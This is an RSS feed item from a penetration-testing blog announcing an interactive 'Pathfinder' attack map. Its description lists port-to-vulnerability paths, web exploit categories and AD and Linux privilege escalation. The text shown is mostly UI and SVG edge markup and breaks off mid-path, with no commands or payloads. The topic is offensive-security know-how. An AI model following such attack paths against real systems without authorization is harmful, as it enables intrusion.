<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="rss.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>AOV Blog</title>
        <link>https://blog.artofvector.com/blog</link>
        <description>OffSec walkthroughs, Active Directory attack paths, and security research from Art of Vector.</description>
        <lastBuildDate>Mon, 14 Sep 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <copyright>Copyright © 2026 AOV Security</copyright>
        <item>
            <title><![CDATA[Pathfinder Map — Windows, Linux, Ports & Web Vulns]]></title>
            <link>https://blog.artofvector.com/blog/pathfinder-map</link>
            <guid>https://blog.artofvector.com/blog/pathfinder-map</guid>
            <pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Interactive Pathfinder map — port-to-vuln decision trees (21/22/445/3306/6379…), PortSwigger web security recon/exploit nodes (SQLi, XSS, SSRF, IDOR, JWT, OAuth, CSRF, GraphQL), plus AD/BloodHound and Linux privesc paths from AOV Blog.]]></description>
            <content:encoded><![CDATA[
<div class="shell_gOXv"><div class="toolbar_tdYv"><span class="dot_otUJ" style="background:#ff5f57"></span><span class="dot_otUJ" style="background:#febc2e"></span><span class="dot_otUJ" style="background:#28c840"></span><div class="mapTabs_Bqv3" role="tablist" aria-label="Workflow map"><button type="button" role="tab" aria-selected="true" class="mapTab_xtGq mapTabActive_nNQ9">Windows</button><button type="button" role="tab" aria-selected="false" class="mapTab_xtGq ">Linux</button></div><div class="searchWrap_XZRU"><input class="searchInput_uBa1" type="search" placeholder="Search nodes / commands…" value=""><button type="button" class="toolBtn_dREc" disabled="" aria-label="Previous match">↑</button><button type="button" class="toolBtn_dREc" disabled="" aria-label="Next match">↓</button></div><span class="hint_B20J">Click node to open · coral selected · blue parent · green child</span><div class="toolbarActions_LWdu"><button type="button" class="toolBtn_dREc">+</button><span class="zoomLabel_Nzw6">85<!-- -->%</span><button type="button" class="toolBtn_dREc">−</button><button type="button" class="toolBtn_dREc">Fit</button><button type="button" class="toolBtn_dREc">Reset</button><button type="button" class="toolBtn_dREc " aria-pressed="false" title="Fill browser window">Fill</button><button type="button" class="toolBtn_dREc " aria-pressed="false" title="Fullscreen">Fullscreen</button></div></div><div class="workspace_MH8E"><div class="viewport_KIek "><div class="canvasHit_uTOp" data-canvas-bg="1"></div><div class="world_qIBy" style="transform:translate3d(64px, 64px, 0) scale(0.85);--canvas-zoom:0.85"><svg class="edges__sYf" width="16000" height="16000"><path d="M 580 162 C 2317 162, 2703 3932, 4440 3932" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 162, 5040 162" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 425, 5040 425" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 1037, 5040 1037" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 1562, 5040 1562" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 1737, 5040 1737" class="edge_w3jW" fill="none"></path><path d="M 5520 1737 C 5736 1737, 4824 162, 5040 162" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 1912, 5040 1912" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2087, 5040 2087" class="edge_w3jW" fill="none"></path><path d="M 5520 2087 C 5736 2087, 4824 162, 5040 162" class="edge_w3jW" fill="none"></path><path d="M 5520 2087 C 5736 2087, 4824 8352, 5040 8352" class="edge_w3jW" fill="none"></path><path d="M 11800 6071 C 11896 6071, 11824 5692, 11920 5692" class="edge_w3jW" fill="none"></path><path d="M 12400 5692 C 12496 5692, 12424 5692, 12520 5692" class="edge_w3jW" fill="none"></path><path d="M 13000 5692 C 13096 5692, 13024 5517, 13120 5517" class="edge_w3jW" fill="none"></path><path d="M 13000 5692 C 13096 5692, 13024 5692, 13120 5692" class="edge_w3jW" fill="none"></path><path d="M 13000 5692 C 13096 5692, 13024 5867, 13120 5867" class="edge_w3jW" fill="none"></path><path d="M 13600 6042 C 14356 6042, 11164 5692, 11920 5692" class="edge_w3jW" fill="none"></path><path d="M 13600 6042 C 13816 6042, 12904 5517, 13120 5517" class="edge_w3jW" fill="none"></path><path d="M 13600 6042 C 13816 6042, 12904 5692, 13120 5692" class="edge_w3jW" fill="none"></path><path d="M 13600 6217 C 17452 6217, 1188 2262, 5040 2262" class="edge_w3jW" fill="none"></path><path d="M 5520 2262 C 5616 2262, 5544 2262, 5640 2262" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2262, 5040 2262" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2437, 5040 2437" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2612, 5040 2612" class="edge_w3jW" fill="none"></path><path d="M 5520 2437 C 8130 2437, 8710 7810, 11320 7810" class="edge_w3jW" fill="none"></path><path d="M 5520 2612 C 8130 2612, 8710 7810, 11320 7810" class="edge_w3jW" fill="none"></path><path d="M 11800 9052 C 11896 9052, 11824 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 5520 162 C 8400 162, 9040 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2787, 5040 2787" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 2962, 5040 2962" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 3137, 5040 3137" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 3487, 5040 3487" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 4625, 5040 4625" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 6987, 5040 6987" class="edge_w3jW" fill="none"></path><path d="M 5520 162 C 5736 162, 4824 2962, 5040 2962" class="edge_w3jW" fill="none"></path><path d="M 9260 7757 C 11159 7757, 3141 2962, 5040 2962" class="edge_w3jW" fill="none"></path><path d="M 5520 2962 C 8400 2962, 9040 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 5520 3137 C 8130 3137, 8710 7810, 11320 7810" class="edge_w3jW" fill="none"></path><path d="M 5520 3487 C 5616 3487, 5544 3312, 5640 3312" class="edge_w3jW" fill="none"></path><path d="M 5520 3487 C 5616 3487, 5544 3487, 5640 3487" class="edge_w3jW" fill="none"></path><path d="M 5520 3487 C 5616 3487, 5544 3662, 5640 3662" class="edge_w3jW" fill="none"></path><path d="M 5520 4625 C 5616 4625, 5544 3837, 5640 3837" class="edge_w3jW" fill="none"></path><path d="M 5520 4625 C 5616 4625, 5544 5249, 5640 5249" class="edge_w3jW" fill="none"></path><path d="M 6120 3837 C 8460 3837, 8980 6071, 11320 6071" class="edge_w3jW" fill="none"></path><path d="M 6120 3837 C 6216 3837, 6144 2262, 6240 2262" class="edge_w3jW" fill="none"></path><path d="M 5520 6987 C 5736 6987, 4824 2962, 5040 2962" class="edge_w3jW" fill="none"></path><path d="M 5520 6987 C 8400 6987, 9040 6392, 11920 6392" class="edge_w3jW" fill="none"></path><path d="M 9860 1562 C 12029 1562, 2871 3487, 5040 3487" class="edge_w3jW" fill="none"></path><path d="M 9860 512 C 12029 512, 2871 3487, 5040 3487" class="edge_w3jW" fill="none"></path><path d="M 5520 2787 C 6006 2787, 3954 8527, 4440 8527" class="edge_w3jW" fill="none"></path><path d="M 4920 8527 C 5016 8527, 4944 425, 5040 425" class="edge_w3jW" fill="none"></path><path d="M 12400 8387 C 15712 8387, 1728 2087, 5040 2087" class="edge_w3jW" fill="none"></path><path d="M 9260 7757 C 11159 7757, 3141 1562, 5040 1562" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 9052, 11320 9052" class="edge_w3jW" fill="none"></path><path d="M 11800 10312 C 12016 10312, 11104 9052, 11320 9052" class="edge_w3jW" fill="none"></path><path d="M 4920 8527 C 5016 8527, 4944 8352, 5040 8352" class="edge_w3jW" fill="none"></path><path d="M 5520 8352 C 8400 8352, 9040 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 5520 8352 C 8130 8352, 8710 8562, 11320 8562" class="edge_w3jW" fill="none"></path><path d="M 10460 512 C 12629 512, 3471 3662, 5640 3662" class="edge_w3jW" fill="none"></path><path d="M 6120 3662 C 7587 3662, 7913 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 6720 4012 C 6936 4012, 6024 4187, 6240 4187" class="edge_w3jW" fill="none"></path><path d="M 6720 4012 C 6936 4012, 6024 4362, 6240 4362" class="edge_w3jW" fill="none"></path><path d="M 6720 4362 C 6936 4362, 6024 5237, 6240 5237" class="edge_w3jW" fill="none"></path><path d="M 6720 4187 C 6936 4187, 6024 5237, 6240 5237" class="edge_w3jW" fill="none"></path><path d="M 6720 4187 C 6936 4187, 6024 4887, 6240 4887" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 6655, 8180 6655" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8756 6655, 8684 6392, 8780 6392" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8756 6655, 8684 6567, 8780 6567" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8756 6655, 8684 6742, 8780 6742" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 6970, 11320 6970" class="edge_w3jW" fill="none"></path><path d="M 11800 6970 C 11896 6970, 11824 6707, 11920 6707" class="edge_w3jW" fill="none"></path><path d="M 11800 6970 C 11896 6970, 11824 6882, 11920 6882" class="edge_w3jW" fill="none"></path><path d="M 11800 6970 C 11896 6970, 11824 7057, 11920 7057" class="edge_w3jW" fill="none"></path><path d="M 11800 6970 C 11896 6970, 11824 7232, 11920 7232" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 8527, 700 8527" class="edge_w3jW" fill="none"></path><path d="M 1180 8527 C 6013 8527, 7087 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 1180 8527 C 1276 8527, 1204 8527, 1300 8527" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 3055, 8180 3055" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 162, 8780 162" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 337, 8780 337" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 1348, 8780 1348" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 512, 9380 512" class="edge_w3jW" fill="none"></path><path d="M 9860 512 C 11759 512, 3741 3312, 5640 3312" class="edge_w3jW" fill="none"></path><path d="M 9860 512 C 11759 512, 3741 3487, 5640 3487" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 687, 9380 687" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 862, 9380 862" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 1037, 9380 1037" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 1212, 9380 1212" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 1562, 9380 1562" class="edge_w3jW" fill="none"></path><path d="M 9860 1562 C 9956 1562, 9884 1387, 9980 1387" class="edge_w3jW" fill="none"></path><path d="M 9860 1562 C 9956 1562, 9884 1562, 9980 1562" class="edge_w3jW" fill="none"></path><path d="M 9860 1562 C 9956 1562, 9884 1737, 9980 1737" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 1912, 9380 1912" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 2087, 9380 2087" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 2437, 8780 2437" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 2612, 8780 2612" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 2787, 8780 2787" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 2962, 8780 2962" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 3137, 8780 3137" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 3312, 8780 3312" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 3487, 8780 3487" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 3662, 8780 3662" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 3837, 8780 3837" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 4012, 8780 4012" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 4187, 8780 4187" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 4362, 8780 4362" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 4537, 8780 4537" class="edge_w3jW" fill="none"></path><path d="M 8660 3055 C 8756 3055, 8684 4712, 8780 4712" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 8562, 11320 8562" class="edge_w3jW" fill="none"></path><path d="M 11800 8562 C 11896 8562, 11824 8387, 11920 8387" class="edge_w3jW" fill="none"></path><path d="M 11800 8562 C 11896 8562, 11824 8562, 11920 8562" class="edge_w3jW" fill="none"></path><path d="M 11800 8562 C 11896 8562, 11824 8737, 11920 8737" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 9367, 11320 9367" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 8842, 700 8842" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 9402, 8180 9402" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 9000, 8180 9000" class="edge_w3jW" fill="none"></path><path d="M 8660 9000 C 8756 9000, 8684 8912, 8780 8912" class="edge_w3jW" fill="none"></path><path d="M 8660 9000 C 8756 9000, 8684 9087, 8780 9087" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 7495, 8180 7495" class="edge_w3jW" fill="none"></path><path d="M 8660 7495 C 8756 7495, 8684 7232, 8780 7232" class="edge_w3jW" fill="none"></path><path d="M 8660 7495 C 8756 7495, 8684 7407, 8780 7407" class="edge_w3jW" fill="none"></path><path d="M 8660 7495 C 8756 7495, 8684 7582, 8780 7582" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 9682, 11320 9682" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 9157, 700 9157" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 2317 162, 2703 9017, 4440 9017" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 2317 162, 2703 8527, 4440 8527" class="edge_w3jW" fill="none"></path><path d="M 4920 8527 C 5016 8527, 4944 8527, 5040 8527" class="edge_w3jW" fill="none"></path><path d="M 4920 8527 C 5016 8527, 4944 8702, 5040 8702" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 7810, 11320 7810" class="edge_w3jW" fill="none"></path><path d="M 11800 7810 C 11896 7810, 11824 7547, 11920 7547" class="edge_w3jW" fill="none"></path><path d="M 11800 7810 C 11896 7810, 11824 7722, 11920 7722" class="edge_w3jW" fill="none"></path><path d="M 11800 7810 C 11896 7810, 11824 7897, 11920 7897" class="edge_w3jW" fill="none"></path><path d="M 11800 7810 C 11896 7810, 11824 8072, 11920 8072" class="edge_w3jW" fill="none"></path><path d="M 9860 512 C 9956 512, 9884 512, 9980 512" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 3277, 11920 3277" class="edge_w3jW" fill="none"></path><path d="M 10460 512 C 10946 512, 8894 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 3277 C 12616 3277, 11704 3452, 11920 3452" class="edge_w3jW" fill="none"></path><path d="M 1180 8527 C 5743 8527, 6757 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 12400 9052 C 12886 9052, 10834 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 1780 8527 C 6073 8527, 7027 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 9260 6742 C 10187 6742, 10393 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 13159 4240, 7421 1348, 8780 1348" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 13159 4240, 7421 4362, 8780 4362" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 13429 4240, 6551 10347, 8180 10347" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 3452, 11920 3452" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 3627, 11920 3627" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 3802, 11920 3802" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 3977, 11920 3977" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 4152, 11920 4152" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 4327, 11920 4327" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 4502, 11920 4502" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 4677, 11920 4677" class="edge_w3jW" fill="none"></path><path d="M 9260 1348 C 9356 1348, 9284 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 3452 C 13759 3452, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 3627 C 13759 3627, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 3802 C 13759 3802, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 3977 C 13759 3977, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 4152 C 13759 4152, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 4327 C 13759 4327, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 4677 C 13759 4677, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 4852, 11920 4852" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 5027, 11920 5027" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 13429 4240, 6551 9717, 8180 9717" class="edge_w3jW" fill="none"></path><path d="M 11800 4240 C 11896 4240, 11824 5202, 11920 5202" class="edge_w3jW" fill="none"></path><path d="M 12400 4852 C 13759 4852, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 5027 C 13759 5027, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 12400 5202 C 13759 5202, 8021 2262, 9380 2262" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8876 6655, 7964 9717, 8180 9717" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 9717, 8180 9717" class="edge_w3jW" fill="none"></path><path d="M 9860 2262 C 10517 2262, 10663 8562, 11320 8562" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 9997, 11320 9997" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 9472, 700 9472" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 2317 162, 2703 9332, 4440 9332" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 10032, 8180 10032" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 10312, 11320 10312" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 9787, 700 9787" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 2317 162, 2703 9647, 4440 9647" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 10347, 8180 10347" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 10627, 11320 10627" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 6071, 11320 6071" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 10102, 700 10102" class="edge_w3jW" fill="none"></path><path d="M 1180 8842 C 5743 8842, 6757 6071, 11320 6071" class="edge_w3jW" fill="none"></path><path d="M 12400 9052 C 12886 9052, 10834 6071, 11320 6071" class="edge_w3jW" fill="none"></path><path d="M 9860 2262 C 10517 2262, 10663 6071, 11320 6071" class="edge_w3jW" fill="none"></path><path d="M 11800 6071 C 11896 6071, 11824 6130, 11920 6130" class="edge_w3jW" fill="none"></path><path d="M 12400 6130 C 12496 6130, 12424 6130, 12520 6130" class="edge_w3jW" fill="none"></path><path d="M 13000 6130 C 13096 6130, 13024 6042, 13120 6042" class="edge_w3jW" fill="none"></path><path d="M 13000 6130 C 13096 6130, 13024 6217, 13120 6217" class="edge_w3jW" fill="none"></path><path d="M 13600 6217 C 17182 6217, 2058 2262, 5640 2262" class="edge_w3jW" fill="none"></path><path d="M 13600 6042 C 16912 6042, 2928 2262, 6240 2262" class="edge_w3jW" fill="none"></path><path d="M 6120 2262 C 6216 2262, 6144 2262, 6240 2262" class="edge_w3jW" fill="none"></path><path d="M 11800 6071 C 13159 6071, 7421 7757, 8780 7757" class="edge_w3jW" fill="none"></path><path d="M 11800 6071 C 11896 6071, 11824 6392, 11920 6392" class="edge_w3jW" fill="none"></path><path d="M 8660 7495 C 8756 7495, 8684 7757, 8780 7757" class="edge_w3jW" fill="none"></path><path d="M 12400 8387 C 14029 8387, 7151 7757, 8780 7757" class="edge_w3jW" fill="none"></path><path d="M 9260 7757 C 10187 7757, 10393 7810, 11320 7810" class="edge_w3jW" fill="none"></path><path d="M 12400 6392 C 12616 6392, 11704 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 6720 2262 C 7377 2262, 7523 9402, 8180 9402" class="edge_w3jW" fill="none"></path><path d="M 1180 10102 C 1276 10102, 1204 10102, 1300 10102" class="edge_w3jW" fill="none"></path><path d="M 1780 10102 C 1876 10102, 1804 10102, 1900 10102" class="edge_w3jW" fill="none"></path><path d="M 2380 10102 C 2476 10102, 2404 10102, 2500 10102" class="edge_w3jW" fill="none"></path><path d="M 2980 10102 C 4177 10102, 4443 5249, 5640 5249" class="edge_w3jW" fill="none"></path><path d="M 2980 10102 C 3076 10102, 3004 10102, 3100 10102" class="edge_w3jW" fill="none"></path><path d="M 3580 10102 C 4507 10102, 4713 5249, 5640 5249" class="edge_w3jW" fill="none"></path><path d="M 12400 4677 C 12496 4677, 12424 4677, 12520 4677" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 2317 162, 2703 9962, 4440 9962" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4012, 6240 4012" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4187, 6240 4187" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4362, 6240 4362" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4537, 6240 4537" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4712, 6240 4712" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 4887, 6240 4887" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5062, 6240 5062" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5237, 6240 5237" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 7587 5249, 7913 8247, 9380 8247" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5412, 6240 5412" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5587, 6240 5587" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5762, 6240 5762" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 5937, 6240 5937" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 6112, 6240 6112" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 6287, 6240 6287" class="edge_w3jW" fill="none"></path><path d="M 6720 4537 C 6936 4537, 6024 4712, 6240 4712" class="edge_w3jW" fill="none"></path><path d="M 6720 4887 C 6936 4887, 6024 5062, 6240 5062" class="edge_w3jW" fill="none"></path><path d="M 9860 8247 C 11489 8247, 4611 5412, 6240 5412" class="edge_w3jW" fill="none"></path><path d="M 9860 8247 C 11489 8247, 4611 5587, 6240 5587" class="edge_w3jW" fill="none"></path><path d="M 9860 8247 C 11489 8247, 4611 5762, 6240 5762" class="edge_w3jW" fill="none"></path><path d="M 6720 6287 C 9330 6287, 9910 4677, 12520 4677" class="edge_w3jW" fill="none"></path><path d="M 5520 425 C 5616 425, 5544 337, 5640 337" class="edge_w3jW" fill="none"></path><path d="M 6120 337 C 9000 337, 9640 2437, 12520 2437" class="edge_w3jW" fill="none"></path><path d="M 6120 337 C 9000 337, 9640 2612, 12520 2612" class="edge_w3jW" fill="none"></path><path d="M 13000 2437 C 13216 2437, 12304 2612, 12520 2612" class="edge_w3jW" fill="none"></path><path d="M 13000 2612 C 13096 2612, 13024 2612, 13120 2612" class="edge_w3jW" fill="none"></path><path d="M 13000 2612 C 16042 2612, 3198 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 13000 2612 C 16312 2612, 2328 687, 5640 687" class="edge_w3jW" fill="none"></path><path d="M 5520 1037 C 5616 1037, 5544 687, 5640 687" class="edge_w3jW" fill="none"></path><path d="M 5520 1037 C 5616 1037, 5544 862, 5640 862" class="edge_w3jW" fill="none"></path><path d="M 5520 1037 C 5616 1037, 5544 1037, 5640 1037" class="edge_w3jW" fill="none"></path><path d="M 5520 1037 C 5616 1037, 5544 1212, 5640 1212" class="edge_w3jW" fill="none"></path><path d="M 6120 687 C 6216 687, 6144 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 6120 862 C 6216 862, 6144 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 6120 1037 C 6216 1037, 6144 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 6120 1212 C 6216 1212, 6144 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 13600 2612 C 16912 2612, 2928 687, 6240 687" class="edge_w3jW" fill="none"></path><path d="M 6720 687 C 8790 687, 9250 9052, 11320 9052" class="edge_w3jW" fill="none"></path><path d="M 6720 687 C 9060 687, 9580 9052, 11920 9052" class="edge_w3jW" fill="none"></path><path d="M 6120 5249 C 6216 5249, 6144 6637, 6240 6637" class="edge_w3jW" fill="none"></path><path d="M 9860 8247 C 11489 8247, 4611 6637, 6240 6637" class="edge_w3jW" fill="none"></path><path d="M 6720 6637 C 6816 6637, 6744 6462, 6840 6462" class="edge_w3jW" fill="none"></path><path d="M 6720 6637 C 6816 6637, 6744 6637, 6840 6637" class="edge_w3jW" fill="none"></path><path d="M 6720 6637 C 6816 6637, 6744 6812, 6840 6812" class="edge_w3jW" fill="none"></path><path d="M 7320 6462 C 7806 6462, 5754 5412, 6240 5412" class="edge_w3jW" fill="none"></path><path d="M 7320 6462 C 7806 6462, 5754 5587, 6240 5587" class="edge_w3jW" fill="none"></path><path d="M 7320 6462 C 7806 6462, 5754 5237, 6240 5237" class="edge_w3jW" fill="none"></path><path d="M 7320 6637 C 9660 6637, 10180 4677, 12520 4677" class="edge_w3jW" fill="none"></path><path d="M 7320 6812 C 7536 6812, 6624 6462, 6840 6462" class="edge_w3jW" fill="none"></path><path d="M 7320 6812 C 7536 6812, 6624 6637, 6840 6637" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 13159 1502, 7421 6917, 8780 6917" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 162, 11920 162" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 337, 11920 337" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 512, 11920 512" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 687, 11920 687" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 862, 11920 862" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1037, 11920 1037" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1212, 11920 1212" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1387, 11920 1387" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1562, 11920 1562" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1737, 11920 1737" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 1912, 11920 1912" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 2087, 11920 2087" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 2262, 11920 2262" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 5413 162, 6487 